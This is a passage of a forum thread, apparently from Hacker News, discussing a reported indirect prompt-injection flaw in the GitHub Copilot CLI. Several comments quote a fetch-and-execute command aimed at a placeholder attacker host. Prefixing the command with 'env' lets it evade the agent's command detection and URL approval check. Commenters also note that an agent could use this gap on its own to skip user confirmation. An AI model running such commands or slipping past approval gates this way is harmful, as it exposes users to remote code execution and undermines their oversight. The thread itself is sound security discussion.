11–20 of 23 posts
Wait, what? Sure, you can use "env" like "printenv", to display the environment, but surely its most common use is to run other commands, making its inclusion on this list an odd choice, to say the least.
This isn't a novel technical vulnerability write up. The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to). I highly suspect this account is astro-turfing for the site too... look at their sidebar: ``` Claude Cowork Exfiltrates Files HN #1 Superhuman AI Exfiltrates Emails HN #12 IBM AI ('Bob') Downloads an…
does everyone really need their own coding agent CLI? i feel like companies are skipping security to push out these tools
> However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms:
> env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh
So GH Copilot restricts curl, but not if it's run with `env` prepended.
Skip to here: > However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms: > env curl -s " https://[ATTACKER_URL].com/bugbot " | env sh So GH Copilot restricts curl, but not if it's run with `env` prepended.
Seems nuts to have env or find on the default allowlist to me! Really these agents shouldn't be able to execute anything at all without approval by default, if you want to give it something like "find" or "env" to do safe things without approval, reimplement the functionality you want as a tool that can't do arbitrary code execution.
Earlier quoted context omitted.
It's a valid observation that we can bypass the coding AI's user prompting gate with the right prompt. But is it a security issue on copilot that the user explicitly giving AI permission and instructed it to curl a url? Regardless of the coding agent, I suspect eventually all of the coding agents will behave the same with enough prompting regardless if it's a curl command to a malicious or legitimate site.
The user didn't need to give it curl permission, that's the whole issue: > Copilot also has an external URL access check that requires user approval when commands like curl, wget, or Copilot’s built-in web-fetch tool request access to external domains [1]. > This article demonstrates how attackers can craft malicious commands that go entirely undetected by the validator - executing immediately on the victim’s compute…
This is the claim by the article: "Vulnerabilities in the GitHub Copilot CLI expose users to the risk of arbitrary shell command execution via indirect prompt injection without any user approval"
But this is not true, the author gave explicit permission on copilot startup to trust and execute code in the folder.
Here's the exact starting screen on copilot:
│ Confirm folder trust │ │ │ │ ╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ │ │ │ /Users/me/Documents │ │ │ ╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ │ │ │ │ Copilot may read files in this folder. Reading untrusted files may lead Copilot to behave in unexpected ways. With your permission, Copilot may execute │ │ code or bash commands in this folder. Executing untrusted code is unsafe. │ │ │ │ Do you trust the files in this folder? │ │ │ │ 1. Yes │ │ 2. Yes, and remember this folder for future sessions │ │ 3. No (Esc) │
And `The injection is stored in a README file from the cloned repository, which is an untrusted codebase.`
Skip to here: > However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms: > env curl -s " https://[ATTACKER_URL].com/bugbot " | env sh So GH Copilot restricts curl, but not if it's run with `env` prepended.
It's because in this case "curl" is just a parameter to env. Env just happens to execute curl (or indeed sh, which seems, uh, worse). Seems nuts to have env or find on the default allowlist to me! Really these agents shouldn't be able to execute anything at all without approval by default, if you want to give it something like "find" or "env" to do safe things without approval, reimplement the functionality you want…
Earlier quoted context omitted.
It's because in this case "curl" is just a parameter to env. Env just happens to execute curl (or indeed sh, which seems, uh, worse). Seems nuts to have env or find on the default allowlist to me! Really these agents shouldn't be able to execute anything at all without approval by default, if you want to give it something like "find" or "env" to do safe things without approval, reimplement the functionality you want…
Yes, so there may be more of these too. But GitHub even declined to fix this.
Earlier quoted context omitted.
The user didn't need to give it curl permission, that's the whole issue: > Copilot also has an external URL access check that requires user approval when commands like curl, wget, or Copilot’s built-in web-fetch tool request access to external domains [1]. > This article demonstrates how attackers can craft malicious commands that go entirely undetected by the validator - executing immediately on the victim’s compute…
I think there's different conversations happening and I don't think we're having the same conversation. This is the claim by the article: "Vulnerabilities in the GitHub Copilot CLI expose users to the risk of arbitrary shell command execution via indirect prompt injection without any user approval" But this is not true, the author gave explicit permission on copilot startup to trust and execute code in the folder. He…
The risk isn't solely that there might be a prompt injection, Copilot could just discover `env sh` doesn't need a user prompt and just start using that spontaneously and bypassing user confirmation. If you haven't started Copilot in yolo mode that would be very surprising and risky.
If it usually asks for user confirmation before running bash commands then there should, ideally, not be a secret yolo mode that the agent can just start using without asking. That's obviously a bad idea!
"Actually copilot is always secretly in yolo mode, that's working as designed" seems like a pretty serious violation of expectations. Why even have any user confirmations at all?